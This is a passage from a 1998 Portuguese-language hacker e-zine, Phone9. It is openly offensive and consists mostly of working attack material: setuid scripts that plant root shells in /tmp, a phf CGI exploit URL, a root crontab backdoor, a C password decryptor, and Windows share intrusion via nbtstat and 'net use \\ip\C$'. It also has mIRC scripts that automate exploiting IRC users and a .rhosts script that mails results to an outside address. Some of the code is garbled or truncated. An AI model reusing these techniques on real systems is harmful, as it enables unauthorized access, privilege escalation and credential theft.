text size:
CRT glow:
[P9] - The Phone9 Communications Inc - [P9]
_____ _____
/ _ \/\ /\__ /\ /\__/ _ \
\ ___/ /_/ / _ \/ \/ / _ \__ /
\ \ / __ / / / /\ / __/ / /
\/ \/ \/\___/\/ \/\___/ \/
[ The Phone9 Communications Systems Inc ]
.... ....
Phear Yer Phone, 01 de setembro de 1998.
edicao no.01| phone9@phone9.org
[P9] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [P9]
.............
/ / \/\/\ / | \ .[ Phone9 - kicking the root down, since 1998|MADE IN .BR].
/ ---/ / \__ / .[ Pagina oficial - http://www.phone9.org ].
\/ho \/\/e \/ .[ editor-in-chief - bloodroot|bi0tek - blood@phone9.org ].
[The Phone9.]
[communications.]
[Systems.(c)]
Editor-in-chief: the blood root|bi0tek
Co-editor: Phineas Phreak & Shad0w
layout: puruca
relacoes publicas: Autoridades maximas 'papai e mamae'
The man with the plan: Keyser Soze a.k.a Cripple
network operations: f0rce Str1cker
webmaster: bloodroot
founder: The blood root & the dert
grafix dude: aSMa-Lag & bloodroot
Askii efektiz: aSMa-Lag , blood root & Puruca
31337: Pr0digy|Offspring| Rage Against...
fuck j00: Master Of Shame (0opss!! Shadow)
0wn3d: telnet.com.br | elogica.com.br | ucsd.edu
Escritores: kkkk, the blood root, phineas phreak, acid branch, SEkr4t7, dert
primal phear, sp1n freak, X-ploiter, bi0haz4rd, phone'warper, Marcelo Myara,
cybergirl, lord byron, bytetricker, DeAd_Po0l, MaNdRaCk, Phantom Phreak,
Soul Spy, Telephreak, Tom Waits, Rider Bloody, Thunder^t, mem-keeper, pr0c,
Franz Kafka, Marcos Myara, Sy0ckS, aSMa-Lag, x1p, sm0g, cacaio
Sistemas 0peracionais: Linux Red Hat 3.0| no wind0ze
fundo musical: know your enemies - r.a.t.m.|smack my bitch up - pr0digy
broadcast: Microsoftz.com | puruca.com.br | phone9.org | phuck.org
==[ v1.0 ]==[ .index.archivies ]==
(c) 1998, productions.
1:. .phone9.sp0ts.
2:. Mais nocoes idiotas em setuid
3:. Tecnicas sado-masoquistas em windows
4:. Unix hack 0.00, licoes para quem ficou reprovado
5:. SunOS pre-loaded buggy
6:. PCS, Personal Communications Systems
7:. Detonando o cyberpatrol
8:. re-escrevendo arquivos de sisteam com VBzkripts
9:. Guia de seguranca em servidores WN-1.17
10:. backdoor cracker [bc20], tecnicas anais em sistemas linux
11:. Apache Web Server Guard - by bi0tek
12:. Phone9.Sekurity advisories... Em caso de panico quebre a janela
13:. Crackeando sistema No Trust - by X-ploiter
14:. Sekurity tools!!!
15:. Exploitacao por meio de CGIs - Parte I
16:. Apache Web server bugs
17:. Teste de vulnerabilidade em contas hotmail
18:. Falhas em extensoes HTML .ASP...
19:. The Phone9 communications, departaments.
quotas.:
O que deus fazia antes de contruir a terra? - Shoo w0ng
When!? Today? Tommorow? We were there yesterday - phear 10t3k
You can make people buy shit, if you sell it right - Bill Gates
Dammit.... Not again!!! - Ruindows95/98 users
--> ph0ne9.0rg <--
phone9@phone9.org - Qualquer reclamacao, artigos, comentarios, mailbombz,
e ate' fuck j00...
[P9] [P9]
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³1 - .ph0ne9.sp0ts ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Blood Root ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Bem vindo a mais uma edicao da Phone9, espero que voce tenham gostado da
outra edicao pois nos adoramos faze-la (provavelmente... ;)), nesta nova
edicao, nos iremos colocar mais informacao nao tao seguras ;) Com a
ajuda de varios novos membros e escritores acho que desta vez a zine vai
de vez com todo o pessoal que nos esta ajudando, acho que devemos chegar
a algum lugar, talvez... Pedimos desculpa pela demora que a zine teve
para lancar a segunda edicao, pois nos ficamos escrevendo artigos para a
zine, e se nos podemos dizer assim, nos temos uma vida pessoal tipo sexo
festas, redes, trabalhos, escolas.... Nos tambem ficamos desenvolvendo
ferramentas para o seu administrador, e o seu hacker-guru preferido,
entao nao fique nos culpando pelo atraso da zine, pois eu tenho um monte
de desculpas, iguais as que eu uso com a minha quando chego atrasado na
aula ;)
- Abducao alienigena, provavelmente um dos mais sequelados foi o
computador do Phineas, coitado... Veja o codigo abaixo e veja
a verdade sobre axur, phineas e outros...
5b=10
10 popup quit b:popup sleep using ems "c:\alienintruder"
30 b=b-1:delay 1:locate int(rnd(1)*23+1),(int(rnd(1)*70)+1),1
35 if b=1 then let b=10; print "Eu sou um alien axuriano tentando se
comunicar com voce"
60 goto 10
Compile o programa com Power Basic 3.0 e deixo-o rodando na
casa do wizard (M.O.S) ou entao de outro lamer da vida...
Sera a invasao alien???
PS: Depois da aula sado-masoquista da mae do Phineas, ficamos todos fudidos
principalmente o Puruca ;)
Mas agora falando serio, a Phone9 atrasou basicamente por que
nos somos meio lerdos, e nos tivemos uma serie de problemas
com o pessoal daqui do rio, principalmente a telerj, que so
nao prendeu o dert, porque ele conseguiu fugir a tempo. Entao
nos temos uma penca de problemas, desculpas e ainda por cima
prisoes??? What fuck is going on with this crazy w0rld, dude!
Esta edicao da Phone9, vem cheia de surpresas, parece um programa do
ratinho ;) E' claro que sem o caso da invasao alien na axur... Nos
pegamos varios artigos de varios karinhas estranhos, muito estranhos
e tacamos tudo junto, fazendo aquela meleca de sempre, os novos P9rs
escreveram poucos artigos (eu acho que eles ainda nao se acostumaram
direito com os nossos habitos... ;) Mas todos contribuiram na medida
do possivel para a zine, assim voce pode contemplar diante dos seus
olhos a nova edicao da Phone9.
Um pequenos fuck you de todos nos para o sistema, e um pequeno fuck
off de todos para nos, entao vamos na punheta ate' a ejaculacao pre-
coce passar!!!
O que um dia ja foi um exercicio intelectual sem nenhuma intencao maliciosa
hoje em dia e' mais que o suficiente para botar dinheiro no bolso de um
promotor de merda. Agora pense bem... Antes nos sem intencoes maldosas, do
que outros com verdadeiros truques terroristas! [MOD]???
Mas por onde devemos começar? Durante nossos estudos para fazer esta zine,
organizamos o conjunto de conhecimentos de hackers mais inteligentes de
todos os continentes,. Como resultado, coletamos informacoes que se
confirmam, se contradizem ou ignoram algumas anotacoes.Se tivessemos cedido
aos nossos anseios iniciais, de simplesmente contar tudo que escutavamos,
esta zine seria dez vezes maior do que e' e nos ainda a estariamos fazendo!
Portanto, o que fizemos foi escolher os assuntos que, a nosso ver, oferecem
a visao mais clara do hack, phreak deste mundo. Ha muita coisa que omitimos
- embora relutassemos em faze-lo - e muitas coisas foram atenuadas, mas o
nosso destino e' o mesmo, e sempre sera o mais proximo possivel, pois nem
tudo que te dizem e' verdade...
Lembrem-se: A verdade esta la' fora, aqui dentro so tem mentira... ;)
Agora, stand and relax, e leia a zine com atencao... e aproveite a
sua insignificancia, enquanto pode...
.[bloodroot.
- blood@phone9.org -
" I am weirdo!!! "
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³2 - Mais nocoes idiotas em setuid ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Blood Root ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
So' para completar a materia da outra edicao sobre suid bug's, eu
resolvi lavar a mao, explicando mais um pouquinho sobre setuids no
unix, e mais tecnicas milaborantes ( olha, que palavra escr0ta )!!!
Entao. Que venham los bugados...
Setando programas para setuid:
chmod +x /arquivo
Retirando o atributo setuid do programa:
chmod -x /arquivo
Executando scripts cgi, sobre a uid do dono do processo:
Vamos tomar como exemplo o servidor apache , que armazena os cgi's no direto
rio /home/httpd/cgi-bin/, tambem tomamos como exemplo o phf.cgi. Agora vamos
no /home/ftp/incoming/ ou /tmp e colocamos este script la':
...
#!/bin/csh
#(c) cgi abUser - by b_root
if [ whoami != root ] then
echo "Voce obte-ve root no sistema"
/bin/cp /bin/csh /tmp/rootshell
echo "Execute /tmp/rootshell"
else
goto noroot
fi
noroot
/usr/bin/id # Mude o necessario...
/bin/cp /bin/sh /tmp/stupid-b1tch
echo "Execute /tmp/stupid-b1tch"
...
E' claro chmod a+x /tmp/cgiabuser
Agora simplesmente digite este endereco, e deixe que o script faz o resto:
http://jackass.com.br/cgi-bin/phf?Qalias=x%0a/tmp/cgiabuser
Identificando o dono do arquivo:
ls -l nome.do.arquivo
Procure pelo nome na 3 coluna.
Identificando se esta ou nao setuid:
Se quando voce der ls no seu diretorio, voce encontrar algo assim:
...
Permissoes uid user grupo tam. mes dia hora nome
---------- --- ---- ----- ---- --- --- ---- ----
-rwxr--s-- 1 hacker hackerusers 1234 Aug 09 00:00 phuck
...
Se --s-- existir, entao o arquivo e' setuid.
Rede de suid:
Esta e' boa, fazendo uma rede de suid...
hack:/home/hack> touch blah
hack:/home/hack> cat blah
#!/bin/sh
#blahblaum
/bin/cp /bin/sh /tmp/phuck
chmod a+x /tmp/phuck
hack:/home/hack> ln -i /home/blah /bin/sh
hack:/home/hack> exit
Agora, qualquer um que executar o /bin/sh ou /home/blah, tera
automaticamente a sua shell copiada para /tmp/phuck...
Falando Csadamente:
#include
char *getpass(const char *prompt)
{
printf("Phone9 Sux, even s4x know this");
printf("Exemplo de suid shell em C ");
printf("Voce ja' tem shell!!!\n");
fflush(stdout);
system("/bin/cp /bin/sh /bin/suidshell");
system("chmod +s /bin/suidshell")
}
Kernel ev1l:
Enquanto a kernel esta loudando o /bin/sh , voce coloca outro programa
no lugar daquele.
%nice -19 suidprog ; ln -s evilprog suidroot
Adicionando comandos no crontab:
Esta e' bem simples, voce adciona esta linha no arquivo do a seguir:
/var/spool/cron/crontab/root :)
...
2 2 * * * cp /bin/sh /tmp/fuchs
...
Entao a partir da 2:00 da manha, voce tera root no sistema, executando
/tmp/fuchs
The blood root
Mais nocoes estupidas em setuid...
reg(c) 1998, productions
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³3 - Tecnicas sado-masoquistas no windows ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by Primal Phear ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
Bom, o intuito deste texto eh acabar de vez com as tecnicas lamers, de
como se invadir um computador win95, uma vez q este esta conectado na
internet, este texto inclui tecnicas vivas e ativas, q funcionam hoje
em dia, e tbm inclui um arquivo explicando por quer algumas tecnicas
difamadas pela galera nao funcionam..... e mais algumas tecnicas em
windowsNT e Internet Exploder. Agradecimentos ao pessoal da W3b
Hackers e bi0haz4rd em especial, e ReNeGaDe da TDK...
I.) filesharing bug
II.) Ataque nbtstat
III.) ripando password do BIOS
IV.) password do windows
V.) programa decriptador de passwords
VI.) Password do screen saver do windows
VII.) Winhack Gold, irc attack para windows95/nt/98
VIII.) Verdadeira tecnica de invasao por IP - ReNeGaDe
I.) filesharing bug
0kay, entao a pouco mais de um ano, um grupo brasileiro, chamado
BHC (brasilian hackers club), lancou um documento explicando certas
vulnerabilidades na conexao via rede dial-up na internet, o documento
fez um tititi na internet toda, funcionava ou nao? Teoriacamente este
bug jah fazia parte do win3.x na hora q ele comecou a se adaptar para
a internet.
Em todo o caso, acredito q todo mundo jah deve ter lido este documento
quem ainda nao leu ai vai:
:>[ Invasao por IP ]======================================================<:
Invasão por IP - por LiquidByte (BHC)
Alegria de uns, tristeza de outros, na verdade, aqueles que
utilizam a rede Dial-Up do Win95 para sua conecção com a internet podem
estar correndo sérios riscos a não ser, é claro, que assim conectam-se
propositalmente, com intenções "diversas".
Utilizar-se de uma conecção PPP do Win95 num provedor de acesso,
significa estar disponibilizando seu computador a todos os usuário da net.
Mesmo sem o compartilhamento de arquivos, existem diversas ferramentas que
permitem a outra pessoa conectar-se ao seu computador caso você esteja
utilizando esse tipo de conecção.
Conecte-se à Internet utilizando a rede Dial-Up do Win95. Se o seu
provedor não disponibilizar uma conecção do tipo PPP, estas dicas não
funcionarão. Verifique antes, se você possui os drivers clientes para redes
Microsoft. Caso não estejam instalados, instale-os através do Painel de
Controle, no ícone Redes.
Verifique também se o compartilhamento de Arquivos e Impressoras está
instalado.
Se estiver, você estará sujeito à que outra pessoa conecte-se ao seu
computador simplesmente sabendo seu IP.
Se bem que, para aqueles que já sabem, existem mil maneiras diferentes
de se "burlar" a fraquinha segurança do Win95. Para você poder encontrar
outros computadores compartilhados, você deve configurar WINS e LMHOSTS.
O WINS é utilizado para localizar os computadores com IP fixo. O
LMHOSTS, é acionado automaticamente na procura de computadores que possuem
IP dinâmicos.
Configurar essas opções é simples. Vá ao Painel de Controle e abra
Rede. Verifique as propriedades do protocolo TCP/IP. Alí você encontrará a
opção para ativar a resolução WINS. No caso de você não conhecer nenhum
servidor WINS, utilize 204.118.34.6 como primário e 204.118.34.11 como
secundário. Esses servidores são dos USA, e gratuítos. Caso queira outros
endereços, utilize um dos mecanismos de busca na Internet. Para configurar
o LMHOSTS, você precisa criar um arquivo texto simples, utilizando-se atá
mesmo o Bloco de Notas do Windows. O arquivo criado deve chamar-se LMHOSTS.
É nesse arquivo que ficarão os endereços de IP e os nomes dos computadores
que você terá acesso. Para localizar um determinado computador, você digita
o seu número de IP e a seguir seu NetBios, na mesma linha, separados por um
espaço. Se você executar o programa NESTSTAT, seguido da opção -N, você
obterá essa lista, com o nome e o IP de seu computador sempre sendo o
primeiro da lista, seguido das outras máquinas disponíveis, tudo numa
janela DOS. Através do Explorer você poderá ver os computadores disponíveis
na rede,dos quais você ainda poderá utilizar os discos mapeando-os, o que
os tornará unidades de seu computador.
:>[ Invasao por IP ]======================================================<:
Okay, entao vamos analizar a tecnica q ele explica, ele afirma q se
voce adaptar manualmente um computador a sua rede windows95, e este
utilizar um sistema de compartilhamento mal configurado , permitindo
q outras pessoas utilizassem a sua impressora e seus arquivos
remotamente, como isto eh uma opcao oferecida pela microsoft eh
problema do nerd do bill gate$, mas em todo o caso, existe um serio
problema neste ataque... Nao se eh possivel se adaptar um computador
remotamente a sua maquina, sem q este esteja em rede direta com voce.
Ou seja, ou voce adciona o computador descentemente e nao em uma lista
de host confiavies (.rhost aka LMHOSTS.SAM), por exemplo o sistema de
gerenciamento de rede da IBM, NAT.EXE. Eh a ferramenta NET.EXE, por
meio destes programas voce podera invadir o computador de alguem via
Internet nao desmerecendo a tecnica do liquidByte, q pode ateh
funcionar, mas com os testes q eu ja' havia feito, nunca funcionou.
II) Ataque nbtstat
Esta tecnica e' bastante conhecida, mas para quem nao sabe....
1o. Passo: Procure um computador em rede, utilizando o windows95 como
sistema operacional.
2o. Passo: achado um, passe um port scanner nele e veja se a porta 139 esta
aberta.
3o. Passo: Depois digite em um prompt do MS-DOS o seguinte comando:
'nbtstat -A xxx.xxx.xx.xx' Onde os xxx e' igual ao IP do kara.
Caso tudo corra bem, voce devera ver uma tela assim:
NetBIOS Remote Machine Name Table
name Type Status
----------------------------------------
^PHONE9 <00> UNIQUE Registered
PPHEAR <00> GROUP Registered
^BLOODR <03> UNIQUE Registered
MAC Address = 44-45-53-54-00-00
4o. Passo: Lembre-se do primeiro UNIQUE. Anote-o em um papel ;)
5o. Passo: Edite o arquivo C:\WINDOWS\LMHOSTS.SAM. Coloque dentro do
arquivo a seguinte referencia:
'xxx.xxx.xxx.xx ^PHONE9' e salve o arquivo.
6o. Passo: Digite 'nbtstat -r'. Para reconhecer o novo computador na rede.
7o. Passo: Acesso a iniciar->localizar->computador->nome do UNIQUE.
E voila, voce devera ver um icone, clique duas vezes sobre ele e
pronto voce jah tem aquele computador na sua rede.
III.) ripando password do BIOS
Para quebrar o password do BIOS voce pode se encontrar duas situacoes:
1- Se voce pegar o computador depois que o password foi passado corretamente
use um desses programas:
amipsw.com (230b)
ami.com (555b)
aw.com (1,83k)
amidecod.com (1,79k)
2- Se voce pegar o computador desligado ou esquecer o password:
- Ligue o micro e entre o setup;
- Anote TODOS os dados em um papel;
- Desligue e abra a CPU;
- Ache uma bateria na motherboard e retire-a;
- Espere uns 20 minutos e recoloque a bateria;
- Ligue o micro novamente e entre no setup;
- Re-configure todos os dados que vocˆ anotou.
( tecnica por AcidMud )
IV.) Password do windows
O win95 e' tao merda, q chega a dar pena, quando voce entra no windows
o minimo q o tio bill fez foi clocar 'bem vindo ao windows digite sua
senha:' Para nos Uebhacker, isto nao e'tao problema, entao voce tenta
aperta o 'ESC' e derepente voce entra no sistema, sem problema, tbm se
voce apertar 'crtl+alt+del' voce pode fechar a funcao 'logon' do siste
ma, assim voce entra sem problema.
Mas oq muitos raquers nao veem e' q, existe um sistema chamado
'DESKTOP LOCKER', do qual somente as pessoas q tem a senha certa
do login, tem acesso ao verdadeiro desktop do cara, o q nao impe
de voce verificar alguns registros no sistema e facilmente
quebrar esta estupida protecao, uma vez tendo acesso ao painel
de controles, voces sabem o q devem fazer ;p
V.) Programa decriptador de password do windows
Esta e' velha e foi tirada do documento alt.2600 FAQ by voyager, mas o
codigo fonte foi feito por Wayne Hoxie.
/* Este e' o codigo, compile em unix e rode no /DOS/windows/, ou entao
mude um pouco o codigo e faca uma adaptacao para o windows */
#include
#include
#include
int xor1(int i,int j)
{
int x;
x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];
printf("Entre o caminho para o diretorio do windows\n");
gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l
main()
{
int c;
while((c=getc(stdin))!=EOF)
{
c=c^9;
putc(c,stdout);
}
}
VI.) Password do screen saver
Para retirar o password de Screen Saver do Windows 3.x voce deve editar
o arquivo control.ini, apagando tudo o que tiver na area do password.
Para retirar o password do Screen Saver do WIN95, renomeie todos os arquivos
de extensao .pwl do diretorio do windows. Anote os nomes alterados em um
papel para eventuais problemas.
Para desligar o screen saver sem ter o password no win 3.1 (ainda nao
foi testado no 3.11 ou no WIN95), aperte ctrl+alt+del e enter varias vezes
que o screen saver sera fechado.
VII.) Winhack Gold, irc attack para windows95/nt/98
Okay, entao voce esta de saco cheio de teardrop? jolt? jont?
Entao, voce vai adorar esta, o primeiro passo e' pegar o seu
IrcII ou bitchX ( que alias possui um otimo buffer overflow,
explicado na nearz07.txt (www.cyberspace.org/~nearz) visite
agora mesmo!!!! ;)) Entao, que tal invadir o computador dele,
sem que este perceba? Sem nenhum truque estupido... Just pure
C code!!! Compile o codigo que vem no .zip "gcc winhack.c -o winhack"
winhack -d 200.233.232.x -o Scan -b
--- Scaneia os host win95,winNt e Win98 que sao vulneraveis...
winhack
--- roda o programa
winhack -d 200.255.46.x
--- Define a classe subnetC que voce ira scanear....
-o = Arquivo de Output
-b = roda em background ( & em linux )
Para adciona-los para o irc faca o seguinte:
Coloque no script.ini:
[script]
n0=on 1:DNS: {
n1= set %killaddr $iaddress
n2=run \\ $+ [ %killaddr ]
n3=}
Agora rode /dns nick, e este estara testando a vulnerabilidade do
cara!!! Agora edit o popup.ini e coloque estas linhas:
n23=Exploit:/dns $$1
n24=ExploitAll:/alldns
Scaneia todos os dns do canal!!!!
---------------------------------
Edita o aliases.ini e coloca isto:
n15=alldns {
n16=set %total $nick($active,0)
n17=:start
n18=dns $nick($active,%total)
n19=dec %total
n20=if %total == 0 { halt }
n21=goto start
Pronto, agora hack and g0!!!!
Para se proteger....
--------------------
E' simples, vai no menu iniciar -> configuracoes -> Painel de
controle -> redes!!! Clique em clientes para rede microsoft,
caso voce nao tenha este cliente, deixe-o como esta, nao vale
a pena instala-lo somente para ser hackeado!!! Selecione
efetuar logon em dominio NT e logo embaixo, efetuar logon e
restaurar conexoes de redes [blah..blah...blah...!] Da' [ok]!
E logo depois, clica no botao compartilhamenteo de arquivos e
impressoras: E deselecione as opcoes "Desejo que outros usuarios
tenham acesso aos meus arquivos" e "desejo que outros usuarios
tenham acesso a(s) minha(s) impressora(s). Ou entao outra versao
bem mais facil de se resolver o problema...
---
ren c:\windows\systems\vnbt.386 vnbt.bak
---
del c:\windows\systems\vnbt.386
Agora que voce esta seguro temporariamente, vamos esperar pelo patche da
microsoft.... Se existir um!!!!
Os codigos estao no .zip da zine, enjoy!!!!!!!!!!
VIII.) Verdadeira tecnica de invasao por IP - ReNeGaDe
Hi All! Sou ReNeGaDe e na ultima zine TDK nao fiz uma materia interessante
mass nesta me inspirei espero que gostem. Antes de iniciar, quero deixra bem
claro que nao tenho nenhuma responsabilidade do que pode acontecer se
executado o procedimento citado, pois qualquer coisa que venha a acontecer
eh problema todo seu.
Vamos lah primeiro este metodo de invasao pega no Win NT e o 98B tambem.
Para pegar no Win 95 tem que estar, com as atualizacoes feitas mas nao
garanto que funcione. Vamos ao que interessa que ganhamos mais!
1o - Metodo de INVASAO:
Basta voce executar esta pequena linha:
net use * \\ip_da_vitima\C$
2o - Como proteger sua maquina:
Se voce nao notou o C$ eh o compartilhamento padrao nos Windows para
proteger ja sabe nao?!? Basta apenas modificar este compartilhamento!
Agora voce nao sabe modificar o compartilhamento voce eh belo de um FDP mais
tudo bem vai no Internet Explorer botao direito do mouse escolhe ah opcao
compartilhamento e PRONTO! Modifica.
3o - Uma observacao bem interessante:
Para que voce possa invadir e ser invadido seu computador tem que esta confi
gurado para ser usado em REDE, quer dizer nos Win NT e 98B eles concerteza
ja estao no 95 pode nao pegar porque simplesmente muitos deles nao estao
configurados para ser usados em REDE. Caso nao pegando no Win 95 com a REDE
instalada feitas atualizacoes e etc. Entao instala o NT porque pelo menos e
um windows que dah pro gasto.
Eh isso ae pessoal aqui se encerra mais uma materia da TDK!
Se tiverem interesse em tirar duvidas ou apresentar novas
ideias, aqui estah o meu email. Mais sem babozeiras hein pessoal vamos
ter um bom senso pois nao sou desocupado.
cya l8er!
ReNeGaDe@DeathKnights.com
NOTA(feita por Cacaio): Bem, lembremos que isso so' funciona se voce estiver
no win. Infelizmente nao da pra fazer o mesmo em unixes e sabores, mas tbm
em unixes nao se e' vulneravel.
-- TEXTO POR ReNeGaDe - renegade@deathknights.com --
----------------------------------------------------------------------------
Primal Phear - Windows Hacker Guide
(c) - phear@phone9.org
---[ Com a ajuda de.... ]---
8x8> the blood r0o7 -> how long? not long, couse no lie can stand soo long
reg - (c) 1998, productions
[talk to my lawyer!!!!]
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³5 - Unix hack 0.00, licoes para quem ficou reprovado... ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
The Unix hackers guide 0.00
by The blood root
[00] - Prefacio
[01] - Hackeando estupidos .rlogin
[02] - ls backdoor
[00] - Prefacio:
Badab0m, esta vai para aqueles q querem saber mais sobre dicas
estupidas de como se hackear um sistema unix, eu pretendo lancar mais
dicas estupidas para pessoas q perdem o tempo lendo esta merda....
Entao como esta eh a primeira edicao, eu acho melhor comecar pelo
principio basico da maioria dos sistemas, eh claro quando existe
algum admin tao burro a ponto de deixar o .rlogin funcionando no
sistema. Depois vem mais uma tecnica, esta jah eh mais simples,
ls backdoor, e' muito pouco tecnicas, mas se bem feita, pega o sistema
inteiro de pernas pro ar, e provavelmente este estara sem calcinhas...
tecnicas maneiras de como realmente fazer alguns admins ficarem pasmos
com a sua falta de experiencia em tipos de ataques, entao vamos para o
guia mais lamer sobre como hackear unix.... ;p
"What kevin mitnick is about is creating a mythology of a"
"hacker threat and using that threat to expend the government's"
"statutory authority and increase it's wiretappin' capabillity"
"Find me an induvidual who was hurt. Find me a company that was"
"hurt. The most you can say is that some companies had to close"
"security holes......... and arguably they would have had to do"
"anyway" - Mike Godwin, staff do Eletronic Freedom Foundation.
entao, vamos comecar com este manual, antes q eu perca meu tempo com
outra coisa....
- regards,
The blood root - blood@puruca.com.br
[01] - Hackeando estupidos .rlogin
Okay, entao voce passou 30 dias procurando um servidor vulneravel a
'statd', e de repente bewm.... achou um, digamos pentagon.gov (uauh?)
pena q depois dos rackers enfercores eles fecharam a falha de
seguranca. (DROGA EU PODIA TER IDO NA TV POR CAUSA DE UM ESTUPIDO BUG)
Bom, deixa para lah.... eu tento agora o umount bug, otimo, achei um
logo de cara, e quem diria SOL (Stupidos On-line). Agora, eu consegui
root no sistema deles, mas infelismente eu ia sair para o fun club em
mais uma 2600 meeting's , entao eu vou tentar colocar um pequena
backdoor lah, e de repente, dentro do /home/silsantos/, eu acho um
arquivo .rhost para a concorrencia globo.com.br, sera uma conspiracao?
Acredito q nao, provavelmente alguem deve ter deixado aquilo ali, do
jeito q aquele merda do silvio santos eh tao burro, ele nem saberia
como usar um ruindows (arrrrrggggggg...... ;)). O caso eh q dentro do
/home/silsantos/ eu acho um .rhosts, bom para mim, vou chegar na hora
pra 2600 meeting.
Entao, lah vamos nos, primeiro precisamos saber o q eh um arquivo
.rhost?!?! Entao.... Explicacao oficial: Arquivo permite conexao a
outros sistemas pre-determinados no arquivo, assim ao se conectar por
rlogin, ele nao requer password, mas vez q somente o username eh o
suficiente. Explicacao nao-oficial: Hackin'toolz, serio, sem
brincadeira, imagina voce tem um arquivo q permite voce se conectar a
um computador sem qualquer password, somente utilizando como seguranca
apenas um username, q eh especificado no nome do diretorio dele
(/home/user) , ou entao no /etc/passwd, e em varios outros arquivos do
sistema, seja como for, vamos exploitar este coitado do .rhost .
Okay, entao para se exploitar arquivos .rhosts, eh bem simples,
primeiro, eh necessario se saber para qual sistema o .rhost esta
setado, um simples cat /home/blood/.rhost pode resolver isto,mas
depois disto basta digitar esta linha de comando na sua shell:
rlogin -l blood blood.phone9.org e pronto voce estah dentro do
sistema, considerando q:
rlogin = comando necessita dos daemons rlogind e rshd (as vezes)
-l = Argumento necessario para especificar a opcao -login no
comando todo....
blood = username, mude isto pelo username do cara q tem o
.rhost no sistema dele.
blood.phone9.org = Host do qual voce tem acesso .rlogin no
sistema.
/bin/sh -i = Comando para ser executado dentro do servidor, por
mudar desde /bin/sh para rm -rf / (nasty, ham?)
Limpando o caminho:
-------- - --------
Otimo, como voce jah deve ter imaginado como eu posso fazer um
"ataque" .rhost sem deixar vestijos?!?!?! Bom, abaixo vao
algumas tecnicas q podem aliviar um pouco o seu caminho,
ajudando a sua sobrevivencia no sistema:
1. Este limpa o arquivo .rhost logo depois de voce se
logar no sistema:
----------------[ .rhost lixeiro ]--------------
#!/bin/sh
#(c) the blood root
$PATH= #coloque o diretorio do lamer
$USER= #coloque o user do lamer
$SYS= #coloque o sistema para qual o rhost deve ir
echo ".rhost lixeiro"
echo "Phone9 0.01 - www.phone9.0rg"
touch /tmp/.rshell
/bin/cp /bin/sh /tmp/.rshell #shell no /tmp/.rshell
cd /
cd $PATH
rhost -l $USER $SYS /tmp/.rshell
cd $PATH
mail blood@microsoftz.com > ~/.rhost.resultado
echo "" >> ~/.rhost.resultado
find / -name .rhosts -print >> ~/.rhost.resultado
echo "chekout ~/.rhost.resultado e veja merda de seguranca q vc"
echo "tem no seu computador.... aprenda mais sobre unix-fu ;p"
----------------[ .rhost seeker.sh ]----------------
Tbm, existe um meio de tornar mais faceis as .rhost de serem
executadas por qualquer um, usando um esquema parecido com o
do suidroot, entao veja:
----------------[ .rhost suidroot ]----------------
#!/bin/sh
$RHOST= #coloque o caminho para o .rhost, /xxx/xxx/.RHOST
echo "-------------------------------------------"
echo "SUiD r0ot em .rh0sts files... paga pra ver?"
echo "-------------------------------------------"
chmod +s $RHOST
echo "d0ne.... phear yer hacking is done"
----------------[ .rhost suidroot ]----------------
Acho q isto jah basta para voces na hora de executar os .rhosts
em sistema inseguros por ai... ;p
[03] - ls backdoor
Esta realmente eh muito boa, eh praticamente perfeita, com uma certa
